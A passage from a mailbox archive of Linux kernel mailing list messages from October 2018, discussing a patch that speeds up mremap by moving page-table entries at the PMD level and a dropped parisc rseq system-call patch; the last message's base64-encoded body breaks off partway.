         +Pzd0RhKw5pNpx8p6QQKjyzFyAoIPLo9M7Exr5mT24U4nn+UcDdAqNatMXJbXCk9oSP0
         xOnQ==
X-Gm-Message-State: ABuFfoiHWtAmjM9y6JznS6ixTrapOz2OrCgyKDL/NIY2kfgSJWNv4Ulf
        tk5toBx4AStGfML400YgO0vkwHyHyTZxIoTC7N49gA==
X-Google-Smtp-Source: ACcGV626tmOS/hq+IOOBvcyLVHGavVFHf8rpMv7Ej7UrZuwws9AFWJei17jzLnNTEoqbyX0OG7eWDPlqeQQBpHBj980=
X-Received: by 2002:a9d:62cb:: with SMTP id z11mr5748873otk.342.1539397509267;
 Fri, 12 Oct 2018 19:25:09 -0700 (PDT)
Original-Received: by 2002:ac9:56d8:0:0:0:0:0 with HTTP; Fri, 12 Oct 2018 19:25:08
 -0700 (PDT)
In-Reply-To: <20181013021057.GA213522@joelaf.mtv.corp.google.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2898100 gmane.comp.emulators.kvm.arm.devel:19463 gmane.linux.ports.alpha:5327 gmane.linux.ports.hexagon:1925 gmane.linux.ports.ia64:29403 gmane.linux.ports.mips.general:67077 gmane.linux.kernel.mm:205246 gmane.linux.ports.parisc:29178 gmane.linux.ports.ppc64.devel:164177 gmane.linux.ports.riscv:1072 gmane.linux.ports.sh.devel:57650 gmane.linux.kernel.arc:4552
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2898100>

On Fri, Oct 12, 2018 at 7:10 PM, Joel Fernandes <joel@joelfernandes.org> wrote:
> On Fri, Oct 12, 2018 at 06:54:33PM -0700, Daniel Colascione wrote:
>> I wonder whether it makes sense to expose to userspace somehow whether
>> mremap is "fast" for a particular architecture. If a feature relies on
>> fast mremap, it might be better for some userland component to disable
>> that feature entirely rather than blindly use mremap and end up
>> performing very poorly. If we're disabling fast mremap when THP is
>> enabled, the userland component can't just rely on an architecture
>> switch and some kind of runtime feature detection becomes even more
>> important.
>
> I hate to point out that its forbidden to top post on LKML :-)
> https://kernelnewbies.org/mailinglistguidelines
> So don't that Mr. Dan! :D

Guilty as charged. I really should switch back to Gnus. :-)

> But anyway, I think this runtime detection thing is not needed. THP is
> actually expected to be as fast as this anyway, so if that's available then
> we should already be as fast.

Ah, I think the commit message is confusing. (Or else I'm misreading
the patch now.) It's not quite that we're disabling the feature when
THP is enabled anywhere, but rather that we use the move_huge_pmd path
for huge PMDs and use the new code only for non-huge PMDs. (Right?) If
that's the case, the commit message shouldn't say "Incase THP is
enabled, the optimization is skipped". Even if THP is enabled on a
system generally, we might use the new PMD-moving code for mapping
types that don't support THP-ization, right?

> This is for non-THP where THP cannot be enabled
> and there is still room for some improvement. Most/all architectures will be
> just fine with this. This flag is more of a safety-net type of thing where in
> the future if there is this one or two weird architectures that don't play
> well, then they can turn it off at the architecture level by not selecting
> the flag. See my latest patches for the per-architecture compile-time
> controls. Ideally we'd like to blanket turn it on on all, but this is just
> playing it extra safe as Kirill and me were discussing on other threads.

Sure. I'm just pointing out that the 500x performance different turns
the operation into a qualitatively different feature, so if we expect
to actually ship a mainstream architecture without support for this
thing, we should make it explicit. If we're not, we shouldn't.


From - Thu Nov 08 21:42:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 5/6] parisc: wire up rseq system call
Date: Sat, 13 Oct 2018 11:12:12 +0530
Lines: 43
Approved: news@gmane.org
Message-ID: <CALxhOniSbukoQYFzeLmWyD9tYE7Bgye6iq1O+fovvi1_G+56-Q@mail.gmail.com>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
 <1539337442-3676-6-git-send-email-firoz.khan@linaro.org> <CAK8P3a1gsuM7mBGm9hx-BTs=HAG3cSjB6M7N-kpMmPy3kixeCQ@mail.gmail.com>
 <CALxhOnhj7qUj57tLX12KmbcE5G-zDK2Qf2fTUbQ=jpmiUcr52w@mail.gmail.com>
 <CAK8P3a3BjuLQh0hTPFTDTkipXXQ+j8ADqbWmNpimkMDzoORkRA@mail.gmail.com> <71ea9dc5-7502-40af-2022-b2196dd2d690@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539409226 17032 195.159.176.226 (13 Oct 2018 05:40:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 05:40:26 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 13 07:40:20 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gBCex-0004K6-Uv
	for glk-linux-kernel-4@m.gmane.org; Sat, 13 Oct 2018 07:40:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726356AbeJMNSL (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 13 Oct 2018 09:18:11 -0400
Original-Received: from mail-yw1-f66.google.com ([209.85.161.66]:35366 "EHLO
        mail-yw1-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726097AbeJMNSL (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 13 Oct 2018 09:18:11 -0400
Original-Received: by mail-yw1-f66.google.com with SMTP id y76-v6so5776621ywd.2
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 22:42:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=A5ZjR93lsk/QsNDThJvHfL1tgNrmPXJa5FymhsNnm0I=;
        b=VHgTMtorjUbUY2Xd5bq7mxiDC2IIAUhn22HMGgE3gLMM+7YsOXMo9F8R45xTwAD7fv
         zcHRYvCNdhL9CQpHkRNY9baExri+XpDVEikMxSLMqHTvUR4yKgqKptus+mBAdfQAeOqg
         SzAuMjEeOy5qykBgM48M0ehW+be6hveM6eg5Y=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=A5ZjR93lsk/QsNDThJvHfL1tgNrmPXJa5FymhsNnm0I=;
        b=iWKtBqmDA5BBUHM6zQsvI3NsQIGJoxO3Q3+koXLu+x3t4Aagw3y5pXCfGICRUZcXte
         24WK0e7osMNY7Wa87Evym+skjZ33q50lL1IKQ5QyaSis/pDNBJ1zY0csWbvnEDUO/Xh7
         6YFlhI/GDcGH/G6DJTUvnXCQCHbXqgiVbTIepDMCUjrtEFrX+PDxThbA93KLylaBWTsL
         SoX2Wmgeg+GnfR7DCvvaAjuRUvJg5oVHs6UUMI6BbkpYfrk6jhhqR9HBg1TlYnrCmQfH
         CJrbQkxrKPbDe1nYMsphUd05Ny7lyzP1KR3ieylS/0aH/9tasQEu/p42mgNMbnMgLph8
         mPkw==
X-Gm-Message-State: ABuFfogYdAqGnQdeXTPeHV2HkWGqTKKZi4p13gSoMY/itpwQxSGFJ7Gd
        wKbvm1W5D1kSw7wONghWckFiHVsZgNbScAOyuAdM5A==
X-Google-Smtp-Source: ACcGV63i0zwnXwhptJ4IbdxPER4TiOK9TlLasNMVDDJZvd/QKEnds3DEFD7PqdtSmpKss8ARmR3ozVuufd74cxptqvA=
X-Received: by 2002:a81:1b85:: with SMTP id b127-v6mr5180363ywb.381.1539409342769;
 Fri, 12 Oct 2018 22:42:22 -0700 (PDT)
In-Reply-To: <71ea9dc5-7502-40af-2022-b2196dd2d690@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2898134 gmane.linux.ports.parisc:29179 gmane.linux.kernel.year-2038:3522 gmane.linux.kernel.cross-arch:47761
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2898134>

Hi Arnd, Helge,

On Sat, 13 Oct 2018 at 01:53, Helge Deller <deller@gmx.de> wrote:
>
> On 12.10.2018 13:52, Arnd Bergmann wrote:
> > On Fri, Oct 12, 2018 at 12:16 PM Firoz Khan <firoz.khan@linaro.org> wrote:
> >>
> >> Hi Arnd,
> >>
> >> On Fri, 12 Oct 2018 at 15:26, Arnd Bergmann <arnd@arndb.de> wrote:
> >>>
> >>> On Fri, Oct 12, 2018 at 11:45 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> >>>>
> >>>> Wire up rseq system call requires an architecture specific
> >>>> implementation as it not present now.
> >>>>
> >>>> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> >>>
> >>> Didn't we conclude that this should be skipped?
> >>
> >> Helge told "I prefer to keep the warning for rseq for now.
> >> It reminds me that we still may want the rseq syscall.
> >> If the warning is a problem, you may simply add the __IGNORE_rseq define."
> >>
> >> I chose this option; I feel it looks clean
> >> "# rseq requires an architecture specific implementation" in syscall.tbl
> >> hopefully remind him to add rseq syscall implementation in this architecture.
> >
> > But he said he wants the warning instead.
>
> Correct.
> Firoz, please simply drop this patch completely.
> That way one will see generated warnings about the missing rseq (which is what
> we want).

Sure. will do!

Firoz

>
> Thanks,
> Helge


From - Thu Nov 08 21:42:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Sat, 13 Oct 2018 07:10:56 +0100
Lines: 92
Approved: news@gmane.org
Message-ID: <4e3d560b-afce-7d87-bbdb-9701d87ef44e@kot-begemot.co.uk>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <9ed82f9e-88c4-8e4f-8c45-3ef153469603@kot-begemot.co.uk>
 <20181012143728.t42uvr6etg7gp7fh@kshutemo-mobl1>
 <4dd52e22-5b51-9b30-7178-fde603a08f88@kot-begemot.co.uk>
 <97cb3fe1-7bc1-12ff-d602-56c72a5496c5@kot-begemot.co.uk>
 <20181012214008.jj7vhh76vte7xj7i@kshutemo-mobl1>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"; Format="flowed"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1539411020 3643 195.159.176.226 (13 Oct 2018 06:10:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 06:10:20 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.0
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Oct 13 08:10:10 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gBD7q-0000lb-Gl
	for gla-linux-snps-arc@m.gmane.org; Sat, 13 Oct 2018 08:10:10 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Content-Type:
	Content-Transfer-Encoding:Cc:List-Subscribe:List-Help:List-Post:List-Archive:
	List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:Message-ID:From:
	References:To:Subject:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=Eh/jFMuWHNcH+9q9IvN1cd/KciiJ96DeJulI3xDmeeo=; b=tb0qGTwP5XH4OFYl1+ppelomE
	g+nw1eiWBq//DSFXSh6OVG85/yiTuDeFE3oAAtK/UvUmKv0QEllVE0D29Tt3LB3AIV1JZ+L5eGYgY
	PY/rOszX6Je9tovEzQu41me91cXdG5Cq/D/LICH0mWhbN5IorD4NxIJ/x1raN2w3TyGpSbX3g8NUr
	xvoU4DJwqWXLNXS3yLYLyex6lIdjJ8OSVqIRHpTcGkTf3aPiSerjLsGvUKdYHfNJ3BTtNtCu/wzQp
	afFU6oY86ntd457hZ3w9jlyQz6GQaDC3+ambx0Mi0RNKAw2EUSybRLT4xBn7tZeax4Bn0JYHh5odk
	v4M8GLuLw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gBD9u-00005C-Mh; Sat, 13 Oct 2018 06:12:18 +0000
Original-Received: from ivanoab6.miniserver.com ([5.153.251.140]
 helo=www.kot-begemot.co.uk)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gBD9o-0008Ux-LK; Sat, 13 Oct 2018 06:12:15 +0000
Original-Received: from [192.168.17.6] (helo=smaug.kot-begemot.co.uk)
 by www.kot-begemot.co.uk with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.89) (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gBD8b-00065c-TA; Sat, 13 Oct 2018 06:10:57 +0000
Original-Received: from wyvern.kot-begemot.co.uk ([192.168.3.72])
 by smaug.kot-begemot.co.uk with esmtps
 (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.89)
 (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gBD8b-0006dA-6n; Sat, 13 Oct 2018 07:10:57 +0100
In-Reply-To: <20181012214008.jj7vhh76vte7xj7i@kshutemo-mobl1>
Content-Language: en-US
X-Clacks-Overhead: GNU Terry Pratchett
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_231212_862167_7FEADDEE 
X-CRM114-Status: GOOD (  21.30  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4553 gmane.linux.ports.mips.general:67078 gmane.linux.ports.ia64:29404 gmane.linux.ports.sh.devel:57651 gmane.linux.kernel.mm:205248 gmane.linux.ports.riscv:1073 gmane.linux.ports.hexagon:1926 gmane.comp.emulators.kvm.arm.devel:19464 gmane.linux.ports.alpha:5328 gmane.linux.ports.arm.kernel:679435 gmane.linux.ports.parisc:29180 gmane.linux.kernel:2898140 gmane.linux.ports.sparc:28572 gmane.linux.ports.ppc64.devel:164197
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4553>

T24gMTIvMTAvMjAxOCAyMjo0MCwgS2lyaWxsIEEuIFNodXRlbW92IHdyb3RlOgo+IE9uIEZyaSwg
T2N0IDEyLCAyMDE4IGF0IDA1OjQyOjI0UE0gKzAxMDAsIEFudG9uIEl2YW5vdiB3cm90ZToKPj4g
T24gMTAvMTIvMTggMzo0OCBQTSwgQW50b24gSXZhbm92IHdyb3RlOgo+Pj4gT24gMTIvMTAvMjAx
OCAxNTozNywgS2lyaWxsIEEuIFNodXRlbW92IHdyb3RlOgo+Pj4+IE9uIEZyaSwgT2N0IDEyLCAy
MDE4IGF0IDAzOjA5OjQ5UE0gKzAxMDAsIEFudG9uIEl2YW5vdiB3cm90ZToKPj4+Pj4gT24gMTAv
MTIvMTggMjozNyBBTSwgSm9lbCBGZXJuYW5kZXMgKEdvb2dsZSkgd3JvdGU6Cj4+Pj4+PiBBbmRy
b2lkIG5lZWRzIHRvIG1yZW1hcCBsYXJnZSByZWdpb25zIG9mIG1lbW9yeSBkdXJpbmcKPj4+Pj4+
IG1lbW9yeSBtYW5hZ2VtZW50Cj4+Pj4+PiByZWxhdGVkIG9wZXJhdGlvbnMuIFRoZSBtcmVtYXAg
c3lzdGVtIGNhbGwgY2FuIGJlIHJlYWxseQo+Pj4+Pj4gc2xvdyBpZiBUSFAgaXMKPj4+Pj4+IG5v
dCBlbmFibGVkLiBUaGUgYm90dGxlbmVjayBpcyBtb3ZlX3BhZ2VfdGFibGVzLCB3aGljaCBpcyBj
b3B5aW5nIGVhY2gKPj4+Pj4+IHB0ZSBhdCBhIHRpbWUsIGFuZCBjYW4gYmUgcmVhbGx5IHNsb3cg
YWNyb3NzIGEgbGFyZ2UgbWFwLgo+Pj4+Pj4gVHVybmluZyBvbiBUSFAKPj4+Pj4+IG1heSBub3Qg
YmUgYSB2aWFibGUgb3B0aW9uLCBhbmQgaXMgbm90IGZvciB1cy4gVGhpcyBwYXRjaAo+Pj4+Pj4g
c3BlZWRzIHVwIHRoZQo+Pj4+Pj4gcGVyZm9ybWFuY2UgZm9yIG5vbi1USFAgc3lzdGVtIGJ5IGNv
cHlpbmcgYXQgdGhlIFBNRCBsZXZlbAo+Pj4+Pj4gd2hlbiBwb3NzaWJsZS4KPj4+Pj4+Cj4+Pj4+
PiBUaGUgc3BlZWQgdXAgaXMgdGhyZWUgb3JkZXJzIG9mIG1hZ25pdHVkZS4gT24gYSAxR0IgbXJl
bWFwLCB0aGUgbXJlbWFwCj4+Pj4+PiBjb21wbGV0aW9uIHRpbWVzIGRyb3BzIGZyb20gMTYwLTI1
MCBtaWxsZXNjb25kcyB0byAzODAtNDAwCj4+Pj4+PiBtaWNyb3NlY29uZHMuCj4+Pj4+Pgo+Pj4+
Pj4gQmVmb3JlOgo+Pj4+Pj4gVG90YWwgbXJlbWFwIHRpbWUgZm9yIDFHQiBkYXRhOiAyNDIzMjEw
MTQgbmFub3NlY29uZHMuCj4+Pj4+PiBUb3RhbCBtcmVtYXAgdGltZSBmb3IgMUdCIGRhdGE6IDE5
Njg0MjQ2NyBuYW5vc2Vjb25kcy4KPj4+Pj4+IFRvdGFsIG1yZW1hcCB0aW1lIGZvciAxR0IgZGF0
YTogMTY3MDUxMTYyIG5hbm9zZWNvbmRzLgo+Pj4+Pj4KPj4+Pj4+IEFmdGVyOgo+Pj4+Pj4gVG90
YWwgbXJlbWFwIHRpbWUgZm9yIDFHQiBkYXRhOiAzODU3ODEgbmFub3NlY29uZHMuCj4+Pj4+PiBU
b3RhbCBtcmVtYXAgdGltZSBmb3IgMUdCIGRhdGE6IDM4ODk1OSBuYW5vc2Vjb25kcy4KPj4+Pj4+
IFRvdGFsIG1yZW1hcCB0aW1lIGZvciAxR0IgZGF0YTogNDAyODEzIG5hbm9zZWNvbmRzLgo+Pj4+
Pj4KPj4+Pj4+IEluY2FzZSBUSFAgaXMgZW5hYmxlZCwgdGhlIG9wdGltaXphdGlvbiBpcyBza2lw
cGVkLiBJIGFsc28gZmx1c2ggdGhlCj4+Pj4+PiB0bGIgZXZlcnkgdGltZSB3ZSBkbyB0aGlzIG9w
dGltaXphdGlvbiBzaW5jZSBJIGNvdWxkbid0IGZpbmQgYSB3YXkgdG8KPj4+Pj4+IGRldGVybWlu
ZSBpZiB0aGUgbG93LWxldmVsIFBURXMgYXJlIGRpcnR5LiBJdCBpcyBzZWVuIHRoYXQgdGhlIGNv
c3Qgb2YKPj4+Pj4+IGRvaW5nIHNvIGlzIG5vdCBtdWNoIGNvbXBhcmVkIHRoZSBpbXByb3ZlbWVu
dCwgb24gYm90aAo+Pj4+Pj4geDg2LTY0IGFuZCBhcm02NC4KPj4+Pj4+Cj4+Pj4+PiBDYzogbWlu
Y2hhbkBrZXJuZWwub3JnCj4+Pj4+PiBDYzogcGFudGluQGdvb2dsZS5jb20KPj4+Pj4+IENjOiBo
dWdoZEBnb29nbGUuY29tCj4+Pj4+PiBDYzogbG9rZXNoZ2lkcmFAZ29vZ2xlLmNvbQo+Pj4+Pj4g
Q2M6IGRhbmNvbEBnb29nbGUuY29tCj4+Pj4+PiBDYzogbWhvY2tvQGtlcm5lbC5vcmcKPj4+Pj4+
IENjOiBraXJpbGxAc2h1dGVtb3YubmFtZQo+Pj4+Pj4gQ2M6IGFrcG1AbGludXgtZm91bmRhdGlv
bi5vcmcKPj4+Pj4+IFNpZ25lZC1vZmYtYnk6IEpvZWwgRmVybmFuZGVzIChHb29nbGUpIDxqb2Vs
QGpvZWxmZXJuYW5kZXMub3JnPgo+Pj4+Pj4gLS0tCj4+Pj4+PiAgwqDCoCBtbS9tcmVtYXAuYyB8
IDYyCj4+Pj4+PiArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKwo+Pj4+Pj4gIMKgwqAgMSBmaWxlIGNoYW5nZWQsIDYyIGluc2VydGlvbnMoKykKPj4+
Pj4+Cj4+Pj4+PiBkaWZmIC0tZ2l0IGEvbW0vbXJlbWFwLmMgYi9tbS9tcmVtYXAuYwo+Pj4+Pj4g
aW5kZXggOWU2OGEwMmE1MmIxLi5kODJjNDg1ODIyZWYgMTAwNjQ0Cj4+Pj4+PiAtLS0gYS9tbS9t
cmVtYXAuYwo+Pj4+Pj4gKysrIGIvbW0vbXJlbWFwLmMKPj4+Pj4+IEBAIC0xOTEsNiArMTkxLDU0
IEBAIHN0YXRpYyB2b2lkIG1vdmVfcHRlcyhzdHJ1Y3QKPj4+Pj4+IHZtX2FyZWFfc3RydWN0ICp2
bWEsIHBtZF90ICpvbGRfcG1kLAo+Pj4+Pj4gIMKgwqDCoMKgwqDCoMKgwqDCoMKgIGRyb3Bfcm1h
cF9sb2Nrcyh2bWEpOwo+Pj4+Pj4gIMKgwqAgfQo+Pj4+Pj4gK3N0YXRpYyBib29sIG1vdmVfbm9y
bWFsX3BtZChzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwKPj4+Pj4+IHVuc2lnbmVkIGxvbmcg
b2xkX2FkZHIsCj4+Pj4+PiArwqDCoMKgwqDCoMKgwqDCoMKgIHVuc2lnbmVkIGxvbmcgbmV3X2Fk
ZHIsIHVuc2lnbmVkIGxvbmcgb2xkX2VuZCwKPj4+Pj4+ICvCoMKgwqDCoMKgwqDCoMKgwqAgcG1k
X3QgKm9sZF9wbWQsIHBtZF90ICpuZXdfcG1kLCBib29sICpuZWVkX2ZsdXNoKQo+Pj4+Pj4gK3sK
Pj4+Pj4+ICvCoMKgwqAgc3BpbmxvY2tfdCAqb2xkX3B0bCwgKm5ld19wdGw7Cj4+Pj4+PiArwqDC
oMKgIHN0cnVjdCBtbV9zdHJ1Y3QgKm1tID0gdm1hLT52bV9tbTsKPj4+Pj4+ICsKPj4+Pj4+ICvC
oMKgwqAgaWYgKChvbGRfYWRkciAmIH5QTURfTUFTSykgfHwgKG5ld19hZGRyICYgflBNRF9NQVNL
KQo+Pj4+Pj4gK8KgwqDCoMKgwqDCoMKgIHx8IG9sZF9lbmQgLSBvbGRfYWRkciA8IFBNRF9TSVpF
KQo+Pj4+Pj4gK8KgwqDCoMKgwqDCoMKgIHJldHVybiBmYWxzZTsKPj4+Pj4+ICsKPj4+Pj4+ICvC
oMKgwqAgLyoKPj4+Pj4+ICvCoMKgwqDCoCAqIFRoZSBkZXN0aW5hdGlvbiBwbWQgc2hvdWxkbid0
IGJlIGVzdGFibGlzaGVkLCBmcmVlX3BndGFibGVzKCkKPj4+Pj4+ICvCoMKgwqDCoCAqIHNob3Vs
ZCBoYXZlIHJlbGVhc2UgaXQuCj4+Pj4+PiArwqDCoMKgwqAgKi8KPj4+Pj4+ICvCoMKgwqAgaWYg
KFdBUk5fT04oIXBtZF9ub25lKCpuZXdfcG1kKSkpCj4+Pj4+PiArwqDCoMKgwqDCoMKgwqAgcmV0
dXJuIGZhbHNlOwo+Pj4+Pj4gKwo+Pj4+Pj4gK8KgwqDCoCAvKgo+Pj4+Pj4gK8KgwqDCoMKgICog
V2UgZG9uJ3QgaGF2ZSB0byB3b3JyeSBhYm91dCB0aGUgb3JkZXJpbmcgb2Ygc3JjIGFuZCBkc3QK
Pj4+Pj4+ICvCoMKgwqDCoCAqIHB0bG9ja3MgYmVjYXVzZSBleGNsdXNpdmUgbW1hcF9zZW0gcHJl
dmVudHMgZGVhZGxvY2suCj4+Pj4+PiArwqDCoMKgwqAgKi8KPj4+Pj4+ICvCoMKgwqAgb2xkX3B0
bCA9IHBtZF9sb2NrKHZtYS0+dm1fbW0sIG9sZF9wbWQpOwo+Pj4+Pj4gK8KgwqDCoCBpZiAob2xk
X3B0bCkgewo+Pj4+Pj4gK8KgwqDCoMKgwqDCoMKgIHBtZF90IHBtZDsKPj4+Pj4+ICsKPj4+Pj4+
ICvCoMKgwqDCoMKgwqDCoCBuZXdfcHRsID0gcG1kX2xvY2twdHIobW0sIG5ld19wbWQpOwo+Pj4+
Pj4gK8KgwqDCoMKgwqDCoMKgIGlmIChuZXdfcHRsICE9IG9sZF9wdGwpCj4+Pj4+PiArwqDCoMKg
wqDCoMKgwqDCoMKgwqDCoCBzcGluX2xvY2tfbmVzdGVkKG5ld19wdGwsIFNJTkdMRV9ERVBUSF9O
RVNUSU5HKTsKPj4+Pj4+ICsKPj4+Pj4+ICvCoMKgwqDCoMKgwqDCoCAvKiBDbGVhciB0aGUgcG1k
ICovCj4+Pj4+PiArwqDCoMKgwqDCoMKgwqAgcG1kID0gKm9sZF9wbWQ7Cj4+Pj4+PiArwqDCoMKg
wqDCoMKgwqAgcG1kX2NsZWFyKG9sZF9wbWQpOwo+Pj4+Pj4gKwo+Pj4+Pj4gK8KgwqDCoMKgwqDC
oMKgIFZNX0JVR19PTighcG1kX25vbmUoKm5ld19wbWQpKTsKPj4+Pj4+ICsKPj4+Pj4+ICvCoMKg
